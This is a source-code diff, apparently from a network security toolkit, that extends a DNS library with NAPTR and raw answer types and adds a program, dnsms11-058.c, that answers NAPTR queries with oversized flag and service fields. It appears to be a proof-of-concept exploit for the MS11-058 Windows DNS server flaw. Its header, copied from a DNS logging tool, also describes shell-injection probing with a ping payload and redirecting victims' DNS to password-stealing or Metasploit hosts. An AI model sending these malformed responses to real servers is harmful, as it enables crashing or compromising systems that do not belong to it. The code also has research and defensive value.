Index: dns.c
===================================================================
--- dns.c	(revision 1135)
+++ dns.c	(working copy)
@@ -26,7 +26,7 @@
 
 #include "dns.h"
 
-static void buffer_add_dns_name(buffer_t *buffer, char *name)
+void buffer_add_dns_name(buffer_t *buffer, char *name)
 {
 	char *domain_base = safe_strdup(name);
 	char *domain_start;
@@ -527,6 +527,13 @@
 				safe_free(dns->answers[i].answer->AAAA.address);
 			}
 #endif
+	    else if(dns->answers[i].type == DNS_TYPE_NAPTR)
+	    {
+				safe_free(dns->answers[i].answer->NAPTR.flags);
+				safe_free(dns->answers[i].answer->NAPTR.services);
+				safe_free(dns->answers[i].answer->NAPTR.regexp);
+				safe_free(dns->answers[i].answer->NAPTR.replacement);
+	    }
 			else if(dns->answers[i].type == DNS_TYPE_NB)
 			{
 				safe_free(dns->answers[i].answer->NB.address);
@@ -538,6 +545,10 @@
 					safe_free(dns->answers[i].answer->NBSTAT.names[j].name);
 				safe_free(dns->answers[i].answer->NBSTAT.names);
 			}
+			else if(dns->answers[i].type == DNS_TYPE_RAW)
+			{
+				safe_free(dns->answers[i].answer->RAW.data);
+			}
 			safe_free(dns->answers[i].answer);
 		}
 		safe_free(dns->answers);
@@ -691,7 +702,7 @@
 		dns->answers = (answer_t*) safe_malloc(sizeof(answer_t));
 
 	/* Set up the last element. */
-	(dns->answers[dns->answer_count - 1]).question  = safe_strdup(question);
+	(dns->answers[dns->answer_count - 1]).question  = question ? safe_strdup(question) : NULL;
 	(dns->answers[dns->answer_count - 1]).type      = type;
 	(dns->answers[dns->answer_count - 1]).class     = class;
 	(dns->answers[dns->answer_count - 1]).ttl       = ttl;
@@ -747,6 +758,19 @@
 }
 #endif
 
+void dns_add_answer_NAPTR(dns_t *dns, char *question, uint16_t class, uint32_t ttl, uint16_t order, uint16_t preference, char *flags, char *services, char *regexp, char *replacement)
+{
+	answer_types_t *answer    = safe_malloc(sizeof(answer_types_t));
+	answer->NAPTR.order       = order;
+	answer->NAPTR.preference  = preference;
+	answer->NAPTR.flags       = safe_strdup(flags);
+	answer->NAPTR.services    = safe_strdup(services);
+	answer->NAPTR.regexp      = safe_strdup(regexp);
+	answer->NAPTR.replacement = safe_strdup(replacement);
+
+	dns_add_answer(dns, question, DNS_TYPE_NAPTR, class, ttl, answer);
+}
+
 void dns_add_answer_NB(dns_t *dns,  char *question, uint8_t question_type, char *scope, uint16_t class, uint32_t ttl, uint16_t flags, char *address)
 {
 	/* Create a buffer where we're going to build our complete question. */
@@ -793,6 +817,16 @@
 	safe_free(encoded);
 }
 
+void dns_add_answer_RAW(dns_t *dns, uint8_t *data, uint16_t data_length)
+{
+	answer_types_t *answer    = safe_malloc(sizeof(answer_types_t));
+	answer->RAW.data          = safe_malloc(data_length);
+	memcpy(answer->RAW.data, data, data_length);
+	answer->RAW.data_length   = data_length;
+
+	dns_add_answer(dns, NULL, DNS_TYPE_RAW, 0, 0, answer);
+}
+
 /* This is pretty much identical to dns_add_answer. */
 static void dns_add_additional(dns_t *dns, char *question, uint16_t type, uint16_t class, uint32_t ttl, additional_types_t *additional)
 {
@@ -933,11 +967,15 @@
 
 	for(i = 0; i < dns->answer_count; i++)
 	{
-		buffer_add_dns_name(buffer, (char*)dns->answers[i].question); /* Pointer to the name. */
-/*		buffer_add_int16(buffer, 0xc00c);*/
-		buffer_add_int16(buffer, dns->answers[i].type); /* Type. */
-		buffer_add_int16(buffer, dns->answers[i].class); /* Class. */
-		buffer_add_int32(buffer, dns->answers[i].ttl); /* Time to live. */
+		/* Don't add the base stuff if this is a RAW request. Let the programmer
+		 * handle that stuff. */
+		if(dns->answers[i].type != DNS_TYPE_RAW)
+		{
+			buffer_add_dns_name(buffer, (char*)dns->answers[i].question); /* Pointer to the name. */
+			buffer_add_int16(buffer, dns->answers[i].type); /* Type. */
+			buffer_add_int16(buffer, dns->answers[i].class); /* Class. */
+			buffer_add_int32(buffer, dns->answers[i].ttl); /* Time to live. */
+		}
 
 		if(dns->answers[i].type == DNS_TYPE_A)
 		{
@@ -973,12 +1011,41 @@
 			buffer_add_ipv6_address(buffer, dns->answers[i].answer->AAAA.address);
 		}
 #endif
+	  else if(dns->answers[i].type == DNS_TYPE_NAPTR)
+	  {
+	    /* Length */
+			buffer_add_int16(buffer, 2 + /* Order */
+			                         2 + /* Preference */
+			                         strlen(dns->answers[i].answer->NAPTR.flags)       + 1 + /* Flags */
+			                         strlen(dns->answers[i].answer->NAPTR.services)    + 1 + /* Services */
+			                         strlen(dns->answers[i].answer->NAPTR.regexp)      + 1 + /* Regexp */
+			                         strlen(dns->answers[i].answer->NAPTR.replacement) + 2   /* Replacement */
+			                );
+
+			buffer_add_int16(buffer, dns->answers[i].answer->NAPTR.order);
+			buffer_add_int16(buffer, dns->answers[i].answer->NAPTR.preference);
+
+			buffer_add_int8(buffer, strlen(dns->answers[i].answer->NAPTR.flags));
+			buffer_add_string(buffer, dns->answers[i].answer->NAPTR.flags);
+
+			buffer_add_int8(buffer, strlen(dns->answers[i].answer->NAPTR.services));
+			buffer_add_string(buffer, dns->answers[i].answer->NAPTR.services);
+
+			buffer_add_int8(buffer, strlen(dns->answers[i].answer->NAPTR.regexp));
+			buffer_add_string(buffer, dns->answers[i].answer->NAPTR.regexp);
+
+			buffer_add_dns_name(buffer, dns->answers[i].answer->NAPTR.replacement);
+		}
 		else if(dns->answers[i].type == DNS_TYPE_NB)
 		{
 			buffer_add_int16(buffer, 6);
 			buffer_add_int16(buffer, dns->answers[i].answer->NB.flags);
 			buffer_add_ipv4_address(buffer, dns->answers[i].answer->NB.address);
 		}
+		else if(dns->answers[i].type == DNS_TYPE_RAW)
+		{
+			buffer_add_bytes(buffer, dns->answers[i].answer->RAW.data, dns->answers[i].answer->RAW.data_length);
+		}
 		else
 		{
 			fprintf(stderr, "WARNING: Don't know how to build answer type 0x%02x; skipping!\n", dns->answers[i].type);
@@ -1252,35 +1319,35 @@
 
 void dns_do_test(char *domain)
 {
-    buffer_t *command;
-    char *command_str;
+	  buffer_t *command;
+	  char *command_str;
 
-    command = buffer_create(BO_NETWORK);
-    buffer_add_string(command, "dnstest ");
-    buffer_add_ntstring(command, domain);
-    command_str = (char*) buffer_create_string_and_destroy(command, NULL);
-    if(system(command_str))
-    {
-        safe_free(command_str);
-        command = buffer_create(BO_NETWORK);
-        buffer_add_string(command, "./dnstest ");
-        buffer_add_ntstring(command, domain);
-        command_str = (char*) buffer_create_string_and_destroy(command, NULL);
-        if(system(command_str))
-        {
-            safe_free(command_str);
-            command = buffer_create(BO_NETWORK);
-            buffer_add_string(command, "./dnstest ");
-            buffer_add_ntstring(command, domain);
-            command_str = (char*) buffer_create_string_and_destroy(command, NULL);
-            if(system(command_str))
-            {
-                fprintf(stderr, "Couldn't figure out how to run 'dnstest'. Sorry!\n");
-                exit(1);
-            }
-        }
-    }
-    safe_free(command_str);
-    exit(0);
+	  command = buffer_create(BO_NETWORK);
+	  buffer_add_string(command, "dnstest ");
+	  buffer_add_ntstring(command, domain);
+	  command_str = (char*) buffer_create_string_and_destroy(command, NULL);
+	  if(system(command_str))
+	  {
+	      safe_free(command_str);
+	      command = buffer_create(BO_NETWORK);
+	      buffer_add_string(command, "./dnstest ");
+	      buffer_add_ntstring(command, domain);
+	      command_str = (char*) buffer_create_string_and_destroy(command, NULL);
+	      if(system(command_str))
+	      {
+	          safe_free(command_str);
+	          command = buffer_create(BO_NETWORK);
+	          buffer_add_string(command, "./dnstest ");
+	          buffer_add_ntstring(command, domain);
+	          command_str = (char*) buffer_create_string_and_destroy(command, NULL);
+	          if(system(command_str))
+	          {
+	              fprintf(stderr, "Couldn't figure out how to run 'dnstest'. Sorry!\n");
+	              exit(1);
+	          }
+	      }
+	  }
+	  safe_free(command_str);
+		exit(0);
 }
 
Index: dns.h
===================================================================
--- dns.h	(revision 1135)
+++ dns.h	(working copy)
@@ -18,6 +18,7 @@
 #ifndef __DNS_H__
 #define __DNS_H__
 
+#include "buffer.h"
 #include "types.h"
 
 /* Define a list of dns types. Windows defines these automatically,
@@ -25,6 +26,9 @@
 #ifndef DNS_TYPE_A
 typedef enum
 {
+	/* A special type that I use internally. */
+	DNS_TYPE_RAW        = 0xFFFF,
+
 	/* RFC 1034/1035 */
 	DNS_TYPE_A          = 0x0001,
 	DNS_TYPE_NS         = 0x0002,
@@ -183,6 +187,17 @@
 	uint8_t  length;
 } TEXT_answer_t;
 
+/* A NAPTR record has flags, services, a regular expression, and a replacement. */
+typedef struct
+{
+	uint16_t  order;
+	uint16_t  preference;
+	char     *flags;
+	char     *services;
+	char     *regexp;
+	char     *replacement;
+} NAPTR_answer_t;
+
 /* A NetBIOS answer (NB) is used by Windows on port 137. */
 typedef struct
 {
@@ -206,6 +221,12 @@
 	uint8_t        stats[64];
 } NBSTAT_answer_t;
 
+typedef struct
+{
+	uint8_t       *data;
+	uint16_t       data_length;
+} RAW_answer_t;
+
 /* Let us refer to any kind of answer type together. */
 typedef union
 {
@@ -217,8 +238,10 @@
 #ifndef WIN32
 	AAAA_answer_t   AAAA;
 #endif
+	NAPTR_answer_t  NAPTR;
 	NB_answer_t     NB;
 	NBSTAT_answer_t NBSTAT;
+	RAW_answer_t    RAW;
 } answer_types_t;
 
 /* And finally, define a DNS answer. */
@@ -327,6 +350,9 @@
 	additional_t *additionals;
 } dns_t;
 
+/* An extension to the buffer class to add encoded DNS names. */
+void buffer_add_dns_name(buffer_t *buffer, char *name);
+
 /* Allocate memory for a blank dns structure. Should be freed with dns_free(). */
 dns_t   *dns_create();
 
@@ -354,7 +380,9 @@
 #ifndef WIN32
 void     dns_add_answer_AAAA(dns_t *dns,  char *question, uint16_t class, uint32_t ttl, char *address);
 #endif
+void     dns_add_answer_NAPTR(dns_t *dns, char *question, uint16_t class, uint32_t ttl, uint16_t order, uint16_t preference, char *flags, char *services, char *regexp, char *replacement);
 void     dns_add_answer_NB(dns_t *dns,  char *question, uint8_t question_type, char *scope, uint16_t class, uint32_t ttl, uint16_t flags, char *address);
+void     dns_add_answer_RAW(dns_t *dns,  uint8_t *data, uint16_t data_length);
 
 /* These functions add additionals of the various types. */
 void     dns_add_additional_A(dns_t *dns,     char *question, uint16_t class, uint32_t ttl, char *address);
Index: Makefile
===================================================================
--- Makefile	(revision 1135)
+++ Makefile	(working copy)
@@ -14,7 +14,7 @@
 LIBS=
 CFLAGS+=$(COMMON_CFLAGS)
 
-all: nbquery nbsniff dnsxss dnslogger dnscat dnstest samples_build
+all: nbquery nbsniff dnsxss dnslogger dnsms11-058 dnscat dnstest samples_build
 	@echo Compile should be complete
 
 samples_build:
@@ -33,6 +33,7 @@
 	ldid -S smbserver
 	ldid -S dnsxss
 	ldid -S dnslogger
+	ldid -S dnsms11-058
 	ldid -S dnscat
 	ldid -S dnstest
 
@@ -42,12 +43,14 @@
 	cp nbsniff    /usr/local/bin/nbsniff
 	cp dnsxss     /usr/local/bin/dnsxss
 	cp dnslogger  /usr/local/bin/dnslogger
+	cp dnsms11-058  /usr/local/bin/dnsms11-058
 	cp dnscat     /usr/local/bin/dnscat 
 	cp dnstest    /usr/local/bin/dnstest
 	chown root.root /usr/local/bin/nbquery
 	chown root.root /usr/local/bin/nbsniff
 	chown root.root /usr/local/bin/dnsxss
 	chown root.root /usr/local/bin/dnslogger
+	chown root.root /usr/local/bin/dnsms11-058
 	chown root.root /usr/local/bin/dnscat
 	chown root.root /usr/local/bin/dnstest
 
@@ -59,13 +62,14 @@
 	rm -f /usr/local/bin/genhash
 	rm -f /usr/local/bin/dnsxss
 	rm -f /usr/local/bin/dnslogger
+	rm -f /usr/local/bin/dnsms11-058
 	rm -f /usr/local/bin/dnscat
 	rm -f /usr/local/bin/dnstest
 
 uninstall: remove
 
 clean:
-	rm -f *.o *.exe *.stackdump nbquery nbregister nbpoison nbsniff genhash dnsxss dnslogger dnscat dnstest smbserver smbtest core 
+	rm -f *.o *.exe *.stackdump nbquery nbregister nbpoison nbsniff genhash dnsxss dnslogger dnsms11-058 dnscat dnstest smbserver smbtest core 
 	rm -f nbtool buffer select_group crypto smbclient
 	-cd samples && make clean
 
@@ -90,6 +94,9 @@
 dnslogger: dnslogger.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o
 	${CC} ${CFLAGS} -o dnslogger dnslogger.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o ${LIBS}
 
+dnsms11-058: dnsms11-058.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o
+	${CC} ${CFLAGS} -o dnsms11-058 dnsms11-058.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o ${LIBS}
+
 #smbtest: smbtest.o smbclient.o buffer.o udp.o tcp.o select_group.o smb.o nameservice.o crypto.o smb_types.o memory.o types.o 
 #	${CC} ${CFLAGS} -o smbtest smbtest.o smbclient.o buffer.o udp.o tcp.o select_group.o smb.o nameservice.o crypto.o smb_types.o memory.o types.o ${LIBS}
 
Index: dnsms11-058.c
===================================================================
--- dnsms11-058.c	(revision 0)
+++ dnsms11-058.c	(revision 0)
@@ -0,0 +1,515 @@
+/* dnslogger.c
+ * By Ron Bowes
+ * Created January, 2010
+ *
+ * (See LICENSE.txt)
+ *
+ *==Intro==
+ * [[dnslogger]] has two primary functions:
+ * # Print all received DNS requests
+ * # Reply to them with an error or a static ip address (IPv4 or IPv6)
+ *
+ * This is obviously very simple, but is also powerful. 
+ *
+ *==Usage==
+ *<pre>
+ *  -h --help
+ *     Help (this page)
+ *  --test <domain>
+ *     Test to see if we are the authoritative nameserver for the given domain.
+ *  -s --source <address>
+ *     The local address to bind to. Default: any (0.0.0.0)
+ *  -p --port <port>
+ *     The local port to listen on. I don't recommend changing this.
+ *     default: 53
+ *  -A <address>
+ *     The A record to return when a record is requested. Default: NXDOMAIN.
+ *  --AAAA <address>
+ *     The AAAA record to return when a record is requested. Default: NXDOMAIN.
+ *  --TTL <time>
+ *     The time-to-live value to send back, in seconds. Default: 1 second.
+ *  -u --username
+ *     Drop privileges to this user after opening socket (default: 'nobody')
+ *  -V --version
+ *     Print the version and exit
+ *</pre>
+ *
+ *==Printing requests==
+ * Printing DNS requests has a lot of uses. Essentially, it'll tell you if
+ * a program tried to connect to your site, without the program ever
+ * attempting the connection. There are a great number of possible uses for
+ * that:
+ * * Finding open proxies without making an actual connection through it
+ * * Finding open mail relays without sending an email through it
+ * * Finding errors in mail-handling code on a site
+ * * Finding shell injection on a Web application without outbound traffic or delays
+ * * Checking if a user visited a certain page
+ *
+ * In every one of those cases, the server will try to look up the domain name
+ * to perform some action, and fails. For example, to find an open proxy you
+ * can connect to the potential proxy and send it "CONNECT <yourdomain>". If
+ * the proxy server is indeed open, it'll do a lookup on <yourdomain> and
+ * you'll see the request. Then, by default, an error is returned, so the proxy
+ * server gives up on attempting the connection and it's never logged. That's
+ * really the key -- the connection attempt never gets logged. 
+ * 
+ * Likewise, shell injection. If you're testing an application for shell 
+ * injection, you can send it the payload 'ping <yourdomain>' to run. a
+ * vulnerable server will attempt to ping the domain and perform a DNS lookup.
+ * By default, the DNS lookup will fail, and the server won't perform the ping.
+ * It'll look like this:
+ *<pre>
+ * $ ping www.skullseclabs.org
+ * ping: unknown host www.skullseclabs.org
+ *</pre>
+ *
+ * dnslogger, however, will have seen the request and we therefore know that
+ * the application is vulnerable. This is far more reliable than the classic
+ * 'ping localhost 4 times and see if it takes 3 seconds' approach to finding
+ * shell injection. 
+ *
+ * One final note is discovering Web applications that handle email incorrectly.
+ * A classic vulnerability when sending email, besides shell injection, is
+ * letting the user terminate the email with a "." on its own line, then start
+ * a new email. Something like this:
+ *<pre>
+ * This is my email, hello!
+ * .
+ * mail from: test@test.com
+ * rcpt to: test@<yourdomain>
+ * data
+ * This email won't get sent!
+ *</pre>
+ *
+ * So the first email was terminated on the second line, with a period. A new
+ * email is composed to test@<yourdomain>. If the application is vulnerable
+ * to this type of attack, it will attempt to look up <yourdomain> so it can
+ * send an email there. We'll see the request, respond with an error, and the
+ * request will never be sent. 
+ * 
+ *==Controlling the response==
+ * In addition to logging requests, dnslogger can also respond with arbitrary
+ * A or AAAA records to any incoming request. A long time ago, at work, I used
+ * a Visual Basic program I found somewhere called "FakeDNS" that accomplished
+ * a similar task, but I've since lost it and decided to implement it myself.
+ * Some potential uses of this program are:
+ * * Investigating malware that connects to a remote host
+ * * Redirecting users if you control their DNS server
+ * * Redirecting a legitimate program to your own server
+ * 
+ * The first use is actually the one I created this for -- investigating
+ * malware. One of the most common types of malware I'm asked to investigate
+ * at work is a classic downloader, which reaches out to the Internet and
+ * downloads its payload. Almost always, it uses a DNS server to find the
+ * malware. By setting the system's dns to the dnslogger DNS server, all DNS
+ * lookups will be seen (for later investigation), and you can control which
+ * server it tries to connect to to download the files. 
+ * 
+ * Another potential use, and somewhat malicious, is, if you control the DHCP
+ * server on a victim's computer, you can point their DNS to a malicious host,
+ * perhaps one running a password-stealer or Metasploit payload, and do what
+ * you want. 
+ *
+ * One final use, which takes me back to the old days of Battle.net programming,
+ * is redirecting a legitimate program with a hardcoded domain. For example, 
+ * Battle.net used to default to useast.battle.net, uswest.battle.net, etc. 
+ * Although you could change these servers in the registry, another option is
+ * to point your system DNS to dnslogger and let it redirect the requests for
+ * you. 
+ * 
+ *==Authoritative DNS server==
+ * Many functions of this tool require you to be the authoritative nameserver
+ * for a domain. This typically costs money, but is fairly cheap and has a lot
+ * of benefits. If you aren't sure whether or not you're the authority, you
+ * can use the --test argument to this program, or you can directly run the
+ * [[dnstest]] program, also included. 
+ */
+
+#include <signal.h>
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+
+#ifdef WIN32
+#include <winsock2.h>
+#else
+#include <unistd.h>
+#endif
+
+#include "buffer.h"
+#include "dns.h"
+#include "memory.h"
+#include "my_getopt.h"
+#include "select_group.h"
+#include "types.h"
+#include "udp.h"
+
+#define NAME "dnslogger"
+
+typedef struct
+{
+	int server_socket;
+	select_group_t *select_group;
+	char *user;
+	char *source;
+	int   port;
+	char *A;
+#ifndef WIN32
+	char *AAAA;
+#endif
+	int TTL;
+} settings_t;
+
+/* We need this for catching signals. */
+settings_t *global_settings = NULL;
+
+static SELECT_RESPONSE_t dns_callback(void *group, int socket, uint8_t *packet, size_t packet_length, char *addr, uint16_t port, void *s)
+{
+	settings_t *settings = (settings_t*) s;
+	dns_t      *response;
+	uint8_t    *response_packet;
+	uint32_t    response_packet_length;
+	buffer_t   *answer;
+	uint8_t    *answer_string;
+	uint32_t    answer_length;
+
+	/* Parse the DNS packet. */
+	dns_t *request  = dns_create_from_packet(packet, packet_length);
+
+	/* Create the response packet. */
+	response = dns_create();
+	response->trn_id = request->trn_id;
+	response->flags = 0x8000;
+
+	if(request->question_count > 0)
+	{
+		int i;
+
+		/* Display the questions. */
+		for(i = 0; i < request->question_count; i++)
+		{
+			/* Grab the question and display it. */
+			question_t this_question = request->questions[i];
+			fprintf(stderr, "Question %d: %s (0x%04x 0x%04x)\n", i, this_question.name, this_question.type, this_question.class);
+
+			/* Add an answer, if appropriate. */
+			dns_add_question(response, this_question.name, this_question.type, this_question.class);
+			if(settings->A && (this_question.type == DNS_TYPE_A || this_question.type == DNS_TYPE_ANY))
+			{
+				fprintf(stderr, "(Responding with %s)\n", settings->A);
+				dns_add_answer_A(response, this_question.name, 0x0001, settings->TTL, settings->A);
+			}
+#ifndef WIN32
+			else if(settings->AAAA && this_question.type == DNS_TYPE_AAAA)
+			{
+				fprintf(stderr, "(Responding with %s)\n", settings->AAAA);
+				dns_add_answer_AAAA(response, this_question.name, 0x0001, settings->TTL, settings->AAAA);
+			}
+#endif
+
+			/* If a NAPTR record is requested, return something. */
+			if(this_question.type == DNS_TYPE_NAPTR)
+			{
+/*				uint8_t    *flags = (uint8_t*) "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA"
+				                              "AAAAAAAAAAAAAAAA";*/
+				/* note: if flags is 255 'A's, service is 7 'B's, regex is 188 'A's, and the replacement is 'mooo.com', weird stuff happens on the patched version... */
+				char *flags   = "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
+				                "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ";
+				char *service  = "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
+				                "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW";
+				char *regex   = "XXXX";
+				char *replace = "my.test.com";
+
+
+				answer = buffer_create(BO_BIG_ENDIAN);
+				buffer_add_dns_name(answer, this_question.name); /* Question. */
+
+				buffer_add_int16(answer, DNS_TYPE_NAPTR); /* Type. */
+				buffer_add_int16(answer, this_question.class); /* Class. */
+				buffer_add_int32(answer, settings->TTL);
+				buffer_add_int16(answer, 2 +                   /* Length. */
+				                         2 + 
+				                         1 + strlen(flags) + 
+				                         1 + strlen(service) + 
+				                         1 + strlen(regex) + 
+				                         2 + strlen(replace));
+
+				buffer_add_int16(answer, 0x0064); /* Order. */
+				buffer_add_int16(answer, 0x000b); /* Preference. */
+
+				buffer_add_int8(answer, strlen(flags)); /* Flags. */
+				buffer_add_string(answer, flags);
+
+				buffer_add_int8(answer, strlen(service)); /* Service. */
+				buffer_add_string(answer, service);
+
+				buffer_add_int8(answer, strlen(regex)); /* Regex. */
+				buffer_add_string(answer, regex);
+
+				buffer_add_dns_name(answer, replace);
+				answer_string = buffer_create_string_and_destroy(answer, &answer_length);
+
+				dns_add_answer_RAW(response, answer_string, answer_length);
+			}
+		}
+
+		/* If we have any answers, send back our packet. */
+		if(response->answer_count > 0)
+		{
+			/* Send the packet. */
+			response_packet = dns_to_packet(response, &response_packet_length);
+			udp_send(socket, addr, port, response_packet, response_packet_length);
+		}
+		else
+		{
+			/* Send back an error. */
+			response_packet = dns_create_error_string(request->trn_id, request->questions[0], &response_packet_length);
+			udp_send(socket, addr, port, response_packet, response_packet_length);
+		}
+
+		/* Delete the response. */
+		safe_free(response_packet);
+		dns_destroy(response);
+
+		/* Delete the request. */
+		dns_destroy(request);
+	}
+
+	return SELECT_OK;
+}
+
+static void dns_poll(settings_t *s)
+{
+	/* Create the select group in 'settings' -- this is so we can free it on a signal. */
+	s->select_group = select_group_create();
+
+	/* Add the server socket. */
+	select_group_add_socket(s->select_group, s->server_socket, SOCKET_TYPE_DATAGRAM, s);
+	select_set_recv(s->select_group, s->server_socket, dns_callback);
+
+	while(1)
+		select_group_do_select(s->select_group, -1);
+
+	select_group_destroy(s->select_group); /* Note: we don't get here. */
+}
+
+void cleanup(void)
+{
+	if(global_settings)
+	{
+		/* Free memory. */
+		if(global_settings->select_group)
+			select_group_destroy(global_settings->select_group);
+
+		safe_free(global_settings);
+	}
+
+	/* Print allocated memory. This will only run if -DTESTMEMORY is given. */
+	print_memory();
+}
+
+void interrupt(int signal)
+{
+	/* Note: exiting like this will call the atexit() function, cleanup(). */
+	fprintf(stderr, "punt!\n");
+	exit(0);
+}
+
+static void usage(char *program)
+{
+	fprintf(stderr, NAME", by Ron Bowes <ron@skullsecurity.net>\n");
+	fprintf(stderr, "\n");
+	fprintf(stderr, "%s [options]\n", program);
+	fprintf(stderr, "\n");
+	fprintf(stderr, " -h --help\n");
+	fprintf(stderr, "    Help (this page)\n");
+	fprintf(stderr, " --test <domain>\n");
+	fprintf(stderr, "    Test to see if we are the authoritative nameserver for the given domain.\n");
+	fprintf(stderr, " -s --source <address>\n");
+	fprintf(stderr, "    The local address to bind to. Default: any (0.0.0.0)\n");
+	fprintf(stderr, " -p --port <port>\n");
+	fprintf(stderr, "    The local port to listen on. I don't recommend changing this.\n");
+	fprintf(stderr, "    default: 53\n");
+	fprintf(stderr, " -A <address>\n");
+	fprintf(stderr, "    The A record to return when a record is requested. Default: NXDOMAIN.\n");
+#ifndef WIN32
+	fprintf(stderr, " --AAAA <address>\n");
+	fprintf(stderr, "    The AAAA record to return when a record is requested. Default: NXDOMAIN.\n");
+#endif
+	fprintf(stderr, " --TTL <time>\n");
+	fprintf(stderr, "    The time-to-live value to send back, in seconds. Default: 1 second.\n");
+	fprintf(stderr, " -u --username\n");
+	fprintf(stderr, "    Drop privileges to this user after opening socket (default: 'nobody')\n");
+	fprintf(stderr, " -V --version\n");
+	fprintf(stderr, "    Print the version and exit\n");
+	fprintf(stderr, "\n");
+
+
+	exit(1);
+}
+
+static void version()
+{
+	fprintf(stderr, "%s is part of %s\n", NAME, NBTOOL_NAME_VERSION);
+	exit(0);
+}
+
+int main(int argc, char *argv[])
+{
+	settings_t *s = safe_malloc(sizeof(settings_t));
+	char        c;
+	int         option_index;
+	const char *option_name;
+
+	/* Build the long-options array for parsing the options. */
+	struct option long_options[] =
+	{
+		/* General options. */
+		{"A",         required_argument, 0, 0}, /* A record. */
+#ifndef WIN32
+		{"AAAA",      required_argument, 0, 0}, /* A record. */
+#endif
+		{"help",      no_argument,       0, 0}, /* Help. */
+		{"h",         no_argument,       0, 0},
+		{"H",         no_argument,       0, 0},
+		{"port",      required_argument, 0, 0}, /* Local port. */
+		{"p",         required_argument, 0, 0},
+		{"source",    required_argument, 0, 0}, /* Source. */
+		{"s",         required_argument, 0, 0},
+		{"test",      required_argument, 0, 0}, /* Test the DNS authority. */
+		{"TTL",       required_argument, 0, 0}, /* Time to live */
+		{"username",  required_argument, 0, 0}, /* Username (for dropping privileges). */
+		{"u",         required_argument, 0, 0},
+		{"version",   no_argument,       0, 0}, /* Version. */
+		{"V",         no_argument,       0, 0},
+
+		{0, 0, 0, 0}
+	};
+
+	/* Initialize Winsock. */
+	winsock_initialize();
+
+	/* Get ready to randomize. */
+	srand((unsigned int)time(NULL));
+
+	/* Clear the settings. */
+	memset(s, sizeof(s), 0);
+
+	/* Set some defaults. */
+	s->user          = "nobody";
+	s->port          = 53;
+	s->source        = "0.0.0.0";
+	s->TTL           = 1;
+
+	/* Catch SIGINT. */
+	signal(SIGINT, interrupt);
+
+	/* Catch all exit events. */
+	atexit(cleanup);
+
+	/* Parse the commandline options. */
+	opterr = 0;
+	while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != EOF)
+	{
+		switch(c)
+		{
+			case 0:
+				option_name = long_options[option_index].name;
+
+				/* General options. */
+				if(!strcmp(option_name, "A"))
+				{
+					s->A = optarg;
+				}
+#ifndef WIN32
+				else if(!strcmp(option_name, "AAAA"))
+				{
+					s->AAAA = optarg;
+				}
+#endif
+				else if(!strcmp(option_name, "help") || !strcmp(option_name, "h") || !strcmp(option_name, "H"))
+				{
+					usage(argv[0]);
+				}
+				else if(!strcmp(option_name, "port") || !strcmp(option_name, "p"))
+				{
+					s->port = atoi(optarg);
+				}
+				else if(!strcmp(option_name, "source") || !strcmp(option_name, "s"))
+				{
+					s->source = optarg;
+				}
+				else if(!strcmp(option_name, "test"))
+				{
+					dns_do_test(optarg); /* Doesn't return. */
+				}
+				else if(!strcmp(option_name, "TTL"))
+				{
+					s->TTL = atoi(optarg);
+				}
+				else if(!strcmp(option_name, "username") || !strcmp(option_name, "u"))
+				{
+					s->user = optarg;
+				}
+				else if(!strcmp(option_name, "version") || !strcmp(option_name, "V"))
+				{
+					version();
+				}
+			break;
+
+			case '?':
+			default:
+				fprintf(stderr, "Couldn't parse arguments\n\n");
+				usage(argv[0]);
+			break;
+		}
+	}
+
+#ifndef WIN32
+	/* Check for the root user. */
+	if(getuid() != 0)
+		fprintf(stderr, "WARNING: If the bind() fails, please re-run as root (privileges will be dropped as soon as the socket is created).\n");
+#endif
+
+	/* Create a socket for the server. */
+	s->server_socket = udp_create_socket(s->port, s->source);
+
+	/* Display what we're doing. */
+	fprintf(stderr, "Listening for requests on %s:%d\n", s->source, s->port);
+	if(s->A)
+		fprintf(stderr, "Will respond to A requests with %s\n", s->A);
+#ifndef WIN32
+	if(s->AAAA)
+		fprintf(stderr, "Will respond to AAAA requests with %s\n", s->AAAA);
+#endif
+
+	/* Drop privileges. */
+	drop_privileges(s->user);
+
+	/* Set the global settings -- this lets us clean up when a signal is caught. */
+	global_settings = s;
+
+	/* Poll for data. */
+	dns_poll(s);
+
+	return 0;
+}
+
